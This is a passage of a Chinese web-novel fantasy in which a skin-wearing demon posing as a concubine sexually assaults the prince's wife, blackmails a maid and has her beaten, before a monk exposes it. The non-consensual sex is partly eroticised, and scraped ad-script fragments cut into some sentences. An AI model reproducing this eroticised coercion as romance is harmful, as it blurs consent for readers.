疼痛感袭来,心中的狂慌感几乎要将她淹没,许清秋抱住身子。 泪眼朦胧地看向小荷:“我是怎么回来的?” 小荷被她这样子吓了一跳,不知道她是怎么了,但还是实话道:“是王爷送您回来的呀,王爷可贴心了,怕您冻着了,还用衣服给您盖着呢。” 小荷偷偷笑了一声,眼里闪过惊羡。 许清秋松了口气。 不是女子,没有别人。 就是凌昀生。 她再次回想了一下昨夜。 刚开始她头太晕了,眼中那人的五官是模糊的,渐渐得,许清秋在那人刻意地折磨后看清了对方的脸,就是凌昀生。 凌昀生在床上和平时的表现大相径庭,昨夜凌昀生一直磨着许清秋,故意不给她想要的东西,逼着可怜的女子在他耳边娇娇地说话,这才满足了许清秋。 许清秋面色一红,心里浮现起羞涩来。 昨夜凌昀生嘴中不停地喊着“姐姐。” 她从不知,原来夫妻间的乐趣这般令人欣喜,也不知,原来凌昀生喜欢这样叫她。 小荷看着王妃娇羞的面容,心中一松。 她撇开目光,暗叹一声。 想到昨夜,她不禁打了个颤。 昨夜送王妃回来的,哪里是凌昀生,分明是安侧妃。 小荷似乎又看到了安侧妃幽幽的目光,她身披着瑞兽纹素软缎氅衣,踏着月光而来,正当小荷疑惑之际,便看到她将氅衣微微敞开,王妃的面容袒露出来。 小荷惊愕地看着她。 便见安侧妃将人怜惜地抱在怀里,没理会小荷的阻拦,自顾自地踏进了屋门,将女子放在了床榻上。 后面赶来的小荷瞪大眼睛。 安侧妃怜惜地亲亲王妃的嘴唇,厮磨了好一阵,这才走了出来。 她看向小荷,慢吞吞地说道:“辛苦小荷丫鬟了,想必你知道要说什么吧。” 语气温柔,话里的威胁意味却明了。 小荷掀开被子的一角,便看见了王妃身上青紫的痕迹,她红了眼眶。 “你好大的胆子!我要揭发你,你等着!” 安侧妃轻勾唇角,看向小安:“小安丫鬟城外的母亲似乎还在病重中,还等着小安丫鬟的月俸救命吧,你的弟弟马上也要上学堂了吧……” 小安听着女子将自己的家底说的一清二楚,顿时白了脸。 “现在懂了吗?” 小荷怯怯道:“安侧妃的话,小荷知晓了。” 安侧妃闻言,愉悦地眯眼。 “照顾好姐姐。” 思绪飞了回来,小荷不安的眼神落在许清秋脸上。 她对不起王妃,但她真的没有法子。 那是小荷血浓于水的亲人。 * 晌午之际,小安来了。 看到许清秋身上青紫的痕迹,女子心疼地抚摸着。 原本得意的许清秋被她的行为吓到,连忙躲开。 小安一双水眸怜惜地落在许清秋身上。 “王爷怎么这般粗鲁,一点儿也不会怜惜人,倘若是妾身的话,定会好好对待姐姐这副白嫩的皮肉的。” 27. 画皮妖 圆房后,许清秋开始惊愕,继而恐慌,后来确定与自己缠绵一夜的人的确是凌昀生,她心满意足,甚至在面对小安时,有一种隐隐的自得之意。 当小安说出意料之外的这番话,她忽然感受到身体的酸痛,身上青青紫紫的痕迹触目惊心。 小安的手指落在许清秋的身上,她感觉到身体一股酥麻,继而疼痛感传来,她嘶了一声。 小安歉意地看向她,眼里隐隐的疼惜。 许清秋忽然鼻头一酸,眼泪半吊在眼眶。 “姐姐别哭,小安给你擦药。” 小安轻声哄着她,手指滑到她的脊背上,轻轻地拍着以示安慰, 见许清秋情绪平复下来,小安的手滑到她的衣角,欲掀起,便见一双手按住了她,不让她动作。 她抬眸望去,嘴角含笑:“姐姐别怕。” 或许是她的声音过于蛊惑性,许清秋慢慢地将手挪开。 小安满意地眯眼。 她如愿以偿地看到姐姐身上令人脸红的痕迹,小安的目光久久地看向停留在那处。 真可怜啊。 被吃得骨头渣也不剩了。 小安看着那白嫩的皮肤被打上了青紫的烙印,眼睛都红了,她嘴角的笑容消失。 真是孟浪的姐姐。 许清秋迟迟未见到她动作,心里慌乱,正欲起身,便感觉到女子俯下/身,轻/舔着她身上的痕迹。 “……” 许清秋身子一抖,眼神浮现恐慌。 她挣扎着便要起身,却被人压了下去。 小安柔柔地笑着:“听闻唾液有消毒的作用,便想试一下,姐姐不会怪我吧。” 女子神情坦荡,许清秋一时不知如何回应。 她僵着脸道:“别这样了,直接涂药就好。” 许清秋以为自己很义正言辞,实则她方才被小安的行为吓得满脸通红,抬眸看向人的眼神都带着水色。 小安温顺地应好,眼神晦暗。 每次都这样。 嘴上说着拒绝的话语。 实际却在暗自勾引她。 真是孟浪的姐姐。 该给她一点惩罚才好,让她知道,在一个觊觎她的人面前做这种事情,可是要被吃得骨头渣都不剩的。 许清秋感觉到凉凉的药膏抹在自己酸痛的皮肤上,她身子忍不住一颤。 小安敏锐地察觉到,她抬眸,眉眼弯弯:“怎么了姐姐?” 许清秋难为情地撇开眼,她怎么可以说是自己的身体太敏/感了,药膏冰得她受不住。 “没事,你继续就好。” 小安浅浅勾唇,耐心给许清秋上着药。 只是,当她滑落在某一个地方时,许清秋一惊。 连忙捂住亵裤。 “这里……就不用了。” 小安蹙眉,看向她的眼神仿佛她是个不乖的小孩子。 许清秋脸上一红。 “姐姐受了伤,这里是最严重的地方,你我都是女子,又何须遮遮掩掩。” 小安严肃道。 许清秋几乎没见过小安这样的神情,像变了一个人似的,她紧握住的亵裤边角的手缓慢挪开。 对,她和小安都是女子,她有的小安也有。 她不该想这么多的。 许清秋无力地抬起头,眼泪从眼角流出。 * 上好药后,餍足的小安眉眼弯弯,又恢复了之前的明媚模样。 她靠在许清秋的肩头,黏糊糊地撒娇道:“姐姐,姐姐……” 许清秋眼眶都是红的。 眼里满是屈辱。 她怎会信了这女子的话。 小安哪里是同情她可怜,分明是要趁机羞辱她。 只是抹药,她却将自己的手指…… 逼得许清秋垂在她肩头,眼泪都要流干才放过她。 小安走后,凌昀生来了卿琅阁。 比起以往的冷淡,今日他看向许清秋的眼里多了几分柔情。 许清秋被他握着手,脑海中忽然想起那日小荷传达的话语。 娘说:“男人都是下半身思考的动物,只要你让他们舒服了,他们自然也会让你舒服。” 望着被赏赐的首饰,珠宝,绸缎。 小荷眼里止不住的欢喜。 凌昀生握着女子的手,心里仍有些困惑。 在他的记忆中,他与这个死板的美貌正妻同房了,意料之外,给他的体验极好。 凌昀生想到那个感觉,忍不住心猿意马。 但仔细回想,又想不起来具体的画面,只是一个大致的感觉。 凌昀生向来不是多疑的性格,只当自己是喝断片了,不以为然。 他凑近了许清秋一些,两人的距离极近,女子的芳香传来,凌昀生喉结滚动。 他顺势搂住许清秋的细腰:“秋儿。” 手往下摸,许清秋吓得立马起身,躲开他的手。 凌昀生被她一闪,同样吓了一跳,刚才升起的旖旎心思立马消失。 他蹙眉冷哼道:“扫兴。” 果然,依然没变,还是那个死板的陈旧女人。 许清秋脸色苍白,知晓自己是惹到凌昀生了, 自己才刚刚得宠,这么快就要失宠了吗? 想到脑海中那缠绵悱恻的一夜,凌昀生到底软了心。 “本王知晓秋儿性子腼腆,今夜本王会留宿卿琅阁。” 没有失宠。 到底放了自己一马。 本该高兴的许清秋忽然垂眸,不知道在想些什么。 入夜了,风里透着些凉气,不知是什么喜事,爆竹在天空绽开,五彩缤纷,甚是迷人。 许清秋看着梳妆镜,拿起口脂,轻抿一口。 思绪万千。 小荷忽然白着脸进了门。 走路都是磕磕绊绊的。 没等许清秋呵斥,便见她半跪着,抖着身子道。 “王妃,先前查的结果出来了,安侧妃的确是一个猎户之女,名叫安琛卉,家住秀纳河旁的小村庄,但有侍卫称道,那安琛卉早在一月前便死在灌木丛旁了,一身皮被扒了去,倘若不是衣物兜中的手帕证实了她的身份,只会被人当成是一具无名之尸。” 许清秋白了脸。 小荷止不住地磕头:“王妃,现在的根本就不是安侧妃,分明是个可怕的精怪!” 想到那日安侧妃可怕的神情。 小荷爬到许清秋腿边,哭着道:“奴婢不敢再瞒着王妃了,那日……抱着您回来的人不是王爷,是安侧妃,奴婢还看到安侧妃亲您的唇瓣。安侧妃……不对!是那个怪物用奴婢的家人威胁奴婢,奴婢实在不敢,奴婢罪该万死!” 许清秋脑中混沌的思路忽然 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 清晰了。 为什么小安对她有亲密接触时,她会有一种莫名的熟悉感,当作为夫君的王爷对她动手动脚,她却觉得反胃。 那日她脑海中的画面根本不是错觉——与她缠绵的人竟然是一个怪物! 许清秋捂着嘴呜咽着,努力不发出声音来,眼泪夺眶而出。 “啪……” 许清秋脑中的一根弦似乎断裂了。 晕过去前,只听见了小荷惊慌地喊道:“王妃!” 那座颇为雅致的小屋,直直地坐落在竹林中。 遮掩在竹子后,若隐若现。 许清秋像被人控制了心智的木偶,木讷着神色,木偶线被牵动,便直直地走进了小屋。 她推开门,发出“咯吱”一声。 原先的红木家具换成了清一色的黄梨木家具,秀气淡雅,鱼嘴香炉中燃起袅袅烟气。 美人榻上帷帘微动,露出女子妩媚的面容,若隐若现。 女子嘴角扯开冷笑:“这不是端王妃吗?怎么有空来我这里了?” 许清秋呆呆地看着她,也不说话。 女子反倒不乐意了。 她没穿绣鞋,光着脚,许清秋的目光不自觉地落在那双白得晃眼的脚上。 银环圈在女子白皙的脚腕,银白点缀。 女子环住许清秋的脖颈,如一朵菟丝花似的缠绕在她身上。 “王妃来我这寻我作乐,不知王爷知道与否,他若是——” 女子抬眸看许清秋,眼里浮现笑意。 “若是要打死我这个弱女子,王妃会不会护住我。” 许清秋困惑地看向她:“王爷为什么要打死你?” 女子被许清秋的话逗笑,捂着嘴娇笑,眉眼弯弯。 她将人带在了床榻上,俯身压了下去。 “自然是私通之罪。” 某个地方顶住了许清秋的大腿根部,她惊愕地瞪大眼。 “你、你怎么会有……” 女子直勾勾地盯着她,开口道:“王妃在装什么,倘若不是因为我这个怪物的身体,王妃怎么会连脸面都不要了,作为将军府小姐时,便将我私藏在这个小屋中,供你随意亵玩,如今嫁进王府,宁愿冒着杀头的风险,也要继续来与我欢好,王妃可真是个坏女人。” 许清秋脸色一白,她反驳道:“不、不可能!我不认识你。” 女子眉眼弯弯,俯下身:“没关系,王妃的嘴不愿承认,身体可愿意得很。” 花苞被雨水冲刷,变得可怜巴巴,引人怜惜,扁舟被浪潮打翻,被迫与潮水共同起伏,只好环住浆头,以祈求安稳。 许清秋的眼眶红彤彤的,泪珠滑落,又被人舔走。 女子看着许清秋泪眼朦胧,只能攀附于她的模样,心中的愉悦几乎覆盖整个胸腔。 “姐姐现在的样子好美。” 她又吻了上去。 许清秋的唇娇嫩,只是轻轻地舔舐啃咬,便红得好似要见血,女子的眼睛红了,又凑了上去。 许清秋想要使劲推开她,但力气过小,倒像是在打情骂俏,欲拒还迎。 果然,女子的神情更激动了。 眉眼灼灼。 意志迷糊之际,许清秋努力睁开眼,她忽然看清了这个女子的面容——这个一直以来折磨自己的女人——是小安。 不,是伪装成小安的怪物。 28. 画皮妖 门外传来嘈杂声,扰乱了睡梦中的许清秋。 床榻上的女子眼皮微动,顿时惊醒了一旁侍候的小荷。 “王妃……” 小荷眼里止不住的惊慌。 许清秋微微抬起下颚,喉头发痒,她咽了下口水。 小荷立马端来一杯水给她润喉。 一杯清水滑入,缓解了些许难耐。 趁着许清秋喝水的时间,小荷连忙道:“王妃您真吓死奴婢了,幸好郎中说您只是心中烦闷,并无大碍,要不然奴婢这条贱命就是死上千次百次也抵不上您。” 许清秋正欲开口,便听见外面又传来一阵嘈杂声,惹的人心中愈发烦闷。 小荷抬眸小心翼翼地看她,得到许清秋允许的意愿后,连忙出门打探情况。 刚打开房门,便听见几个丫鬟窃窃私语道:“府中可真是添了一大喜事,安侧妃有了身孕,如今地位可真是水涨船高了。” 小荷面色一惊,看向床榻之上的许清秋,对方一脸黯然。 许清秋闻言愣了好久。 不过进门一月有余,竟已有了子嗣。 小荷把门关牢,小跑至美人榻前。 “王妃,这胎儿定有鬼,安侧妃可是个怪物!” 许清秋神情恍惚。 对,她怎生忘这事。 小荷咬唇道:“王妃咱们去找个道士吧,怎么能容忍一个怪物在王府中为非作歹,我们要揭发她的真面目。” 许清秋扶住床边的横栏,缓缓起身。 她微微蹙眉,眉间一抹娇弱。 “既是怪物,我们凡人又如何治的了。” 许清秋微微偏头,心里升起一抹诡异的感觉,她心惊于此,暗暗将这股情绪压了下去。 小荷咬唇跺了几下脚,无奈自己只是个下等的丫鬟,只好轻轻地应了一声。 “收拾一下,午时去清真寺祈福。” 许清秋轻声吩咐道。 * 马车停在寺庙外面,古树参天,绿叶落在青石板上,平添了一抹烟火气,屋檐上悬挂的铜铃叮铃作响。 曲径通幽,禅房花木深。 许清秋一身素静的襦裙,白净的小脸上仍含着几分病弱气,衬得人愈发文弱。 小荷被她留在了马车中,许清秋想要自己独身去安抚自己的心境。 通往寺庙的台阶上人满为患,虔诚又尊敬地步步前行。 寺庙内一尊佛像屹立在桌前,神圣威严,不可侵犯,来此的香客仰视的目光充满敬畏虔诚,怀着希冀,跪在地上深深地磕头。 这种庄重的氛围感染到许清秋,她焦躁的内心忽然被安抚了。 她去香火盒那边捐了许多银票,小和尚眼里满是惊慌,连忙摆手道:“女施主这太多了。” 许清秋弯眸道:“无妨,都是身外之物。” 小和尚红了脸,不敢抬头看她。 “小师傅可否能带我去拜拜香火?” 小和尚连忙点头,抬起胳膊给许清秋带路。 他生长在寺庙中,出家人需戒女色,戒烟酒肉食,只是小和尚年龄尚小,还未到心如铁石的地步,如今见到美丽温柔的许清秋,一时不好意思和她说话,不敢抬头看她,只会垂着头说话。 许清秋见他内敛,有心缓解气氛。 “小师傅名唤什么?” “小僧号悟净。” 许清秋点点头。 两人又有一搭没一搭地聊了几句,悟净果然放松多了,他说道:“女施主拜完香火,可去住持那里求签,很准的,许多香客都会去求签,看看自己近日的运势。” 许清秋顿时被勾起好奇心,她抿唇笑道:“多谢悟净师傅的提醒。” 悟净不好意思地挠头。 拜完香火后,许清秋被带去了住持那边。 住持一身袈裟,眼里含着慈悲,看到她,双手合十微微垂头:“女施主有礼了。” 许清秋回之一礼。 “方丈客气,我前来打扰只为求签一事。” 住持点头应道:“多数香客来寻我无非便是求签一事。” 他转身从桌上拿起一筒竹签,递向许清秋。 “上下掷动摇晃即可。” 许清秋依言,果然,一根竹签掉了出来,她不自觉屏住呼吸。 上面被手指掩住的字体微微显露。 “下下签。” 许清秋心中的弦似乎崩断了。 眼见女子失魂落魄的模样,住持安抚道:“祸兮,福之所倚;福兮,祸之所依。” 许清秋微微缓和。 方丈之言,她亦懂。 凡事皆有双面性,下下签代表着风险,也代表着机遇,兵来将挡水来土掩罢了。 住持手中的佛珠缓慢地盘绕。 他的目光如炬:“这位施主面色苍白,近日似乎被邪祟缠身,身上的阴气极重。” 许清秋面色一白,她没回话,心里掀起惊涛骇浪。 住持的目光似能将她整个人看透。 “施主既然不愿透露,贫僧也不好多言,之后倘若有需要贫僧之际,随时来清真寺即可。” 许清秋半弯着腰,行礼后便离开了。 出了寺庙,心境已大不同。 依然是来时的景色,许清秋却觉得胸腔中的苦闷微微缓解了。 她呼了口气。 小荷正焦急地站在马车前,四处探望。 见到许清秋,眼睛一亮:“王妃,您可算出来了,咱们快回府吧。” 许清秋点点头,借力小荷的胳膊上了马车。 一路平稳,抵达王府。 * 卿琅阁。 桃枝斜斜生长着,穿过窗棂,点点嫩红。 美人一袭浅绿色襦裙,坐在窗前,手中一支画笔,在画纸上勾勒。 许清秋看到此景,一时有些恍惚。 小安微微掀眸,水眸中倒映着许清秋的身影,唇边含着笑意。 “姐姐去哪了?让小安好等。” 许清秋抿唇,默默地坐下,解释道:“方才去了清真寺祈福。” “祈福?姐姐为谁祈福,有小安吗?” 小安来了兴致,起身快步坐在许清秋身旁,紧紧挨着她。 许清秋面色一僵,不动声色地微微挪了一下身子,两人之间顿时多出了一人的距离。 小安的笑容一滞,眼里滑过冷意。 “姐姐这是作甚。” 她仿佛看不到许清秋的疏离,又往许清秋的方向挪了几步。 许是气恼,她并不满意。 小安将头靠在许清秋的肩头,右手得寸进尺地攀在许清秋盈盈一握的腰身上。 温热的呼吸如毒蛇般缠绕在许清秋的脖颈处。 惹得女子身子一抖。 小安敏锐地 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 察觉到,眼里划过不易察觉的笑意与狡黠。 “听说你……有身孕了?” 小安微微挑眉,面上温柔道:“近日总觉得身子难受得紧,吃不下东西,吐的又厉害,便请了郎中来把脉,没想到竟是盼来了个小家伙。” 她眼眸温柔,微微垂首,左手抚摸着小腹。 怀孕后,小安的身上似乎又多了几分为人母的慈爱,柔情似水。 许清秋的目光跟着小安的手落在她的小腹上,目光不自觉地一滞。 她腹中的,到底是胎儿还是怪物。 心中升起几分恐惧。 许清秋颤着唇道:“那自是极好,本王妃在此先恭喜安侧妃了。” 小安眼波流转,瞧了她好几眼,忽然娇笑道:“姐姐这说得什么话,姐姐同妾身情同姐妹,亲如一体,小安早已离不得姐姐了,小安的孩子便是姐姐的孩子,待他出生便让他叫姐姐娘亲可好。” 许清秋面色一僵。 小安见此垂眸,有些失魂落魄。 “小安终究还是痴心妄想了,姐姐是冰清玉洁之人,哪里是妾身可攀上的,只是……近日来小安总以为,你我二人是有情分的。” 女子话语凄婉,面色哀怨。 许清秋心头一软,她的面色松动,忍不住道:“为什么要这么想,自然是有……” 后面的话语过于露骨,许清秋终究心性保守,不好说出口。 但这话一出,小安立马联想到她后面要说什么了。 女子眉眼弯弯,目光灼灼。 许清秋的目光与她相撞,忍不住偏头躲闪开。 小安娇娇一笑。 眼里满是满足。 “小安知晓,姐姐同妾身自然是有情分的,小安最喜欢的人便是姐姐了!” 女子灼热的情意直直地袭来,许清秋面色一红,她有些结巴道:“莫……莫要胡言!” 小安眼含笑意,轻轻应了一声。 她又如连理枝般紧攀在许清秋的身上,两个同样温软的身体紧贴在一起,许清秋呼吸一滞。 她忽然想起那日与梦境中的感觉。 与此时一般无二。 原来自始至终都是小安一人。 许清秋眼里浮现恐惧与迷茫。 斜靠在许清秋肩头的小安嘴角勾起,眼里却浮现冷意。 两种截然不同的情绪分布在一张脸上,无端让人生惧。 屋内的翡翠琉璃嵌宝香炉燃起袅袅烟气,圆光宝相四角屏映衬出一对婀娜的女子紧紧相搂的身影,摇曳生姿。 再细看时,便能发现两个女子虽姿势亲昵,脸上的神情却各异,无端的诡异氛围。 笼中的鹦鹉不识周边环境的怪异。 依旧笨拙地喊道:“姐姐……姐姐……” 尖锐的喊声落在安静的屋中,极为突兀,也为这诡异的氛围增添了几分可怖。 许清秋的眼神渐渐迷茫。 眼前开始朦胧。 面前的身影开始模糊,逐渐成为一团黑影。 昏睡前的唯一画面便是小安笑意盈盈的俏脸。 小安弯眉道:“姐姐困乏了,小安这就扶姐姐去床榻休息。” 女子的态度亲昵,许清秋的心中却生寒。 她看见了。 小安的眼底深处——分明是浓浓的占有欲与强势。 那眼神仿佛要将她生吞入腹。 29. 画皮妖 晨光熹微,阳光从窗外钻进,落在帷帘上,映照在女子如云般的青丝。 许清秋缓缓睁开眼睛,昨夜之事的记忆袭来,她下意识看向身旁,空无一人,身旁床褥的冰冷温度。 她轻嘶一声,脖颈处的酸痛袭来,许清秋用手轻轻揉捏了两下。 “小荷?” 许清秋唤道。 好生奇怪,往日里随叫随到的小荷竟没了人影。 许清秋披上外袍,缓缓向出走。 众多丫鬟侍从都往一个方向涌去。 许清秋拦住一个丫鬟,那丫鬟见到她连忙便要行礼。 “这是何事发生了?” “禀告王妃,老王妃得知安侧妃的喜讯,匆忙赶回府了。” 许清秋心惊,这便是她那个一心向佛,远离京城的婆母了。 她与凌昀生成婚之际,这位婆母坐在主座,慈爱地唤她“秋儿。” 之后,便再无音讯。 “你可知,小荷去了何处?” 许清秋看着这个圆脸丫鬟,轻声问道。 丫鬟却有些吞吞吐吐了。 她小心翼翼地时不时抬眸看许清秋:“奴婢……奴婢也说不清,王妃亲自去看便知晓了。” 许清秋心里一紧,一种莫名的恐惧袭来。 她顾不得作为王妃的礼仪,跟着人群涌去的方向小跑去。 眼前的一幕让她瞪大眼睛,心中收紧。 小荷的脸高高肿起,跪在地上。 主位上的老王妃高高在上,眼里仍怀着慈悲。 一旁的安侧妃面色苍白,虚弱极了。 许清秋半跪着身:“秋儿拜见婆母。” 老王妃脸上含着笑意,下了座位,过来扶她:“秋儿快起,多时不见,秋儿依旧还是这般美丽。” 许清秋羞涩地笑笑。 跟着老王妃落了座。 她的眼神自然地落在小安的身上,小安的身子摇摇欲坠,因月份尚小,肚子并不显怀。 似乎感觉到许清秋的目光,小安抿唇冲着她笑,但由于脸色过于苍白,更像是强颜欢笑,使人愈发心生怜惜之意。 许清秋移开目光,不经意间看了眼跪着的小荷。 “婆母这是发生了何事,婆母好不容易回趟王府,怎生就要罚丫鬟,可是这丫鬟冲撞了婆母?” 老王妃笑意渐淡:“倘若是冲撞了我,倒也无妨,只是这丫鬟实在无礼又胆大妄为,安侧妃如今可不比从前,有了身子自然是要多关照些,毕竟怀的可是我们凌家的独苗,可这丫鬟竟是生了雄心豹子胆,将安侧妃推倒在地,幸好无事……” 许清秋眼皮微颤。 小荷绝望又怀揣希冀的目光与她相撞,小荷喊道:“奴婢绝没有!奴婢愿发誓,从未有过要谋害安侧妃及王府子嗣的心思!” 许清秋抿唇道:“婆母还请见谅,这丫鬟是妾身的贴身丫鬟,虽行事鲁莽,但终究与妾身相伴已久,妾身也是了解她的生性的,她定不会行这般恶毒之事的。” 王妃既已这般讲了,也不好闹得过于难看。 老王妃神情微缓,话语松动:“若是这样……” 一旁的安侧妃忽然咳嗽了两声,姿态悲戚。 老王妃顺着声音看向她,目光怜惜:“安侧妃身体可还有大碍?” 小安柔柔地笑道:“这都是老毛病了,妾身身子骨从小便弱,早已习惯了,只是如今怀了王爷的子嗣,行事更要小心些,妾身如今只想安安稳稳地将这个孩子平平安安地生下来,这便足够了。” 她的目光温柔,右手轻轻搭在小腹。 老王妃听后眼神一紧,方才缓和的神情又严峻起来。 许清秋抬眸看向小安。 心中寒意升起。 老王妃冷声道:“便是王妃的丫鬟,也该懂点规矩,掌嘴二十长长记性。” 话落,旁边的嬷嬷便奉命走了上来。 小荷面色悲戚。 止不住地磕头喊道:“奴婢冤枉,奴婢冤枉。” 嬷嬷手劲极大,几下上去,小荷的脸便愈发高高肿起,甚是可怖。 许清秋欲张口,却哑口无言,只能轻轻移开脸,悲戚地闭上眼。 老夫妃心意已决,又岂是她能左右的。 说得再多,只会将小荷害的更惨。 清脆的巴掌声响起,伴随着悲惨的喊叫声,这声越来越弱。 直到那二十下巴掌声终于结束。 小荷的脸已经无法直视,血液从脸颊中溅出。 她跪倒在地上,汗液已将后背尽数浸湿,模样极为狼狈。 语无伦次,只知磕磕绊绊道:“奴婢是冤枉的……” 许清秋咬紧牙关,悄悄抹去眼角的泪痕。 她半跪在地上,祈求道:“求婆母宽容,小荷已受的如此惩罚了,还请保她一条活命吧。” 老王妃眼神犹豫,看向安侧妃:“安侧妃如何看?” 许清秋看向小安,眼神凄婉。 小安忽然哽咽了一下。 “妾身定不会做什么赶尽杀绝的事情,更何况这是姐姐的贴身丫鬟,但妾身怀中的子嗣险些滑落,不为他出头妾身作为母亲心中实在不安,不若将这丫鬟送往乡下,再不踏入京城可好?” 有情又识分寸,这个回答进退有度,给在场的当事人都提供了一个台阶。 果然,老王妃满意道:“就这般吧。” 事情闹到这个地步,她还真怕安侧妃会不顾大局,硬要了这丫鬟的命,到时又伤了王妃的心,好在这乡野女人倒也懂几分规矩。 许清秋心中收紧。 却也知晓这便是小荷最好的结果了,至少留住一条命了。 小荷被带了下去,看着她的背影,许清秋面色恍惚。 她忽然有些头晕目眩。 险些有些站不稳,好在意志力将她撑住。 心里莫大的恐惧感笼罩住许清秋,她面色苍白,眼眸垂下,死死地盯着地上。 小安是故意的。 她知晓了。 她定是知晓了。 因为小荷没有听她的话,将事情都揭露在许清秋的面前,所以小安生气了,便使了这招借刀杀人。 即使老王妃看在许清秋的面上没有处死小荷,却也给了她一个莫大的教训。 仿佛在说——这便是没有守约的结果。 怪物。 一只丧心病狂的怪物。 许清秋将快到嘴边的呜咽咽了下去。 午后,许清秋匆匆来到清真寺。 时隔不久,她竟又来到了此地。 那日住持所言在她脑中不断回想。 住持定是知道她的困境。 他一定有办法的,让她脱身。 再这样下去,许清秋不知道这个怪物到底是想要做什么。 倘若她是要王妃之位…… 许清秋眼神慢慢坚定。 好在—— 她已决定和离。 许清秋有心打听住持的位置,却被悟净告知住持早已被贵人请走做法事。 悟净叹了口气道:“近日似乎不太平,方丈总是忙的不见踪影。女施主实在不巧,还请下次再来吧。” 许清秋眉头微动:“悟净师傅可知方丈被哪位贵人请走了?” 悟净摇摇头:“我们这种只负责打扫寺庙,替香客指引方向的小和尚哪里知道这种事情。” 许清秋虽心中遗憾,但也知晓这便是自己今日无缘于此了。 她和悟净告辞后,便乘着马车回了王府。 路途中,微风吹动,许清秋的鬓角摇动,头上的簪子却安稳着禁锢住秀发。 许清秋的心绪飞散,迷惘之意升起。 和离后她又该何去何从。 倘若让爹娘知晓,定会将她扫地出门,断绝关系,将这丢人的事情与将军府断开。 此时,一向在意脸面与世人言语的许清秋忽然将这一切抛之脑后了。 她不去想会不会遭人耻笑。 也不去想会不会再也无法嫁人。 许清秋此刻只想活下去。 离那个怪物远远的。 马车平稳前行,渐渐停下。 许清秋刚靠近王府,便听见嘈杂声。 大堂之前,方丈一身袈裟,手里拿着响铃。 身前的案桌上放着一个香炉,香烟袅袅升起。 方丈面色冷峻。 一旁站着一身黑衣,脸色难看的老王妃。 安侧妃半跪在地上,柔弱无力。 方丈口中振振有词,同时手中银铃开始晃动,下一秒,竟脱落于方丈的手中,径直朝安侧妃的方向冲去。 那银铃越靠近安侧妃,声响便越大,在寂静的环境中极为突兀。 围观的丫鬟侍从 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一惊,不知是谁喊道:“真的有妖怪!” “瞧那道士的银铃竟然会自己飞!” “往安侧妃的方向去了,安侧妃就是那个妖怪!” 老王妃的脸色愈发难看。 小安抬眸,眼泪半垂着,涕下沾襟,模样娇弱动人。 “妾身只是一个普通的民家女子,为何要这般诬陷妾身……” 方丈冷笑一声。 “你这妖怪惯是个会欺骗人的。” 他脚尖轻点,快步来到安侧妃的身旁,用一银绳捆住了她。 方丈开口道:“我这绳可不是一般的绳索,名为捆妖索,倘若是凡人,自会轻松挣脱开,但若是妖怪,非但不会挣脱开,还会越捆越紧,你可试试。” 小安轻咬红唇,微微动了动绳子,便见那绳子毫无反应。 老王妃蹙眉道:“还请方丈将这怪物及时处置,莫叫她再伤人了,我儿可还在床上昏迷不醒,生死不明。” 方丈点头,轻唤口令,便见那绳索开始收紧。 小安的面色狰狞,模样极为狼狈,惨叫出声。 沉默站在一旁的许清秋忽然开口道:“这便能证实她是妖怪吗?可安侧妃只是个娇弱的女子,又怀着身孕,力气比常人小,无法挣脱也是情有可原吧。” 话落,老王妃不可置信地看向许清秋。 与此相反的是小安的反应,她惊讶地抬眸看许清秋,眼睛亮晶晶的,即使身上的绳索勒得她难受得几乎喘不过来气,也依旧灼热地看着许清秋。 许清秋的心头一烫,匆忙避开。 方丈看了许清秋许久,叹了口气:“竟是这样吗。一个不够,竟是勾了两个。王妃可是也被这妖怪蛊惑了。” 他低眉道:“冒犯王妃了。” 方丈将许清秋拉至小安身侧,让她的手落在绳索处。 自然也触碰到小安的身子,灼热的温度透过衣裳递了过来,许清秋手中一抖,呼吸一紧。 可来不及她多想,只是落在绳索处,许清秋微微用力,那绳索竟是断了开来。 许清秋瞪大眼。 竟是这般轻松吗? 方丈开口道:“可懂得了?还请王妃尽早迷途知返,切莫丢了本心。” 他目光如刀剑般直直戳在许清秋的心里。 她丑陋又有意遮盖的内心忽然被一览无余。 许清秋喘不过来气。 原是那因绳索断开,小安重获自由,还未来得及起身,便见那断开的绳索又合在一起,将她牢牢捆住。 小安倒在了许清秋身上,柔弱无骨。 方丈开口道:“莫要害人了,让一切回归正常吧。” 便见那绳索迅速收紧,小安身上的皮囊开始脱落, 白骨逐渐显现, 她微隆的小腹露在众人面前。 许多胆小的人开始干呕。 哪里是什么人类胚胎。 分明是一个微肿的肉块被堆在小腹处,随着皮囊的脱落,从白骨上掉落,发出“砰”的一声响。 滚落在地上。 变成了黑块。 假的! 一切都是假的! 许清秋眼前一黑。晕了过去,胆大的侍从连忙让丫鬟将她扶至一旁,又忍着恐惧将那白骨架起。 破布包住白骨架子,被人抬着往外走,有人看了过去,便发现一张人皮从破布中露出。 俏丽白嫩。 风吹来时,唇边的弧度扬起。 冲着旁人笑意盈盈。 “啊!” 几个看到的人惊恐地喊道。 不出一日,端王府闹鬼的事便被传遍了,被蛊惑已久的端王尚在昏迷中,老王妃与王妃受了惊吓,皆当场晕倒。 那幅人皮含笑画面被传得无人不知,甚至酒馆里的人就爱听那说书先生详细讲述这一幕。 怪诞恐怖的画面经说书先生眉飞色舞,添油加醋的叙述后愈发博人眼球。 到底是王府贵事,哪里是平民百姓能讨论得了的。 仅仅半日,这件消息便被全面封锁,再无人敢问津。 只因那参与传谣的人员皆被秘密处死,哪个不要命的敢往前冲。 不过,最值得乐道的事,便是那位生死不明的端王爷,忽然醒来了,且精神抖擞,精气神都比从前好了许多。 这让人们更坚信这是除掉了妖怪的原因。 30. 画皮妖 “你是说本王妃与那个小妾关系极好,情同姐妹?” 许清秋看向丫鬟碧水。 碧水点点头:“对啊,王妃之前与安侧妃形影不离,府中上下的人都知晓。” 许清秋心中微微惊愕。 她总觉得自己似乎遗失了某些记忆。 府中上上下下的人都称她与端王——也就是自己的夫君,感情极好,举案齐眉,相敬如宾。 虽然凌昀生又迎了安侧妃进府,但正妻与侧妃关系融洽,倒也算得上美满。 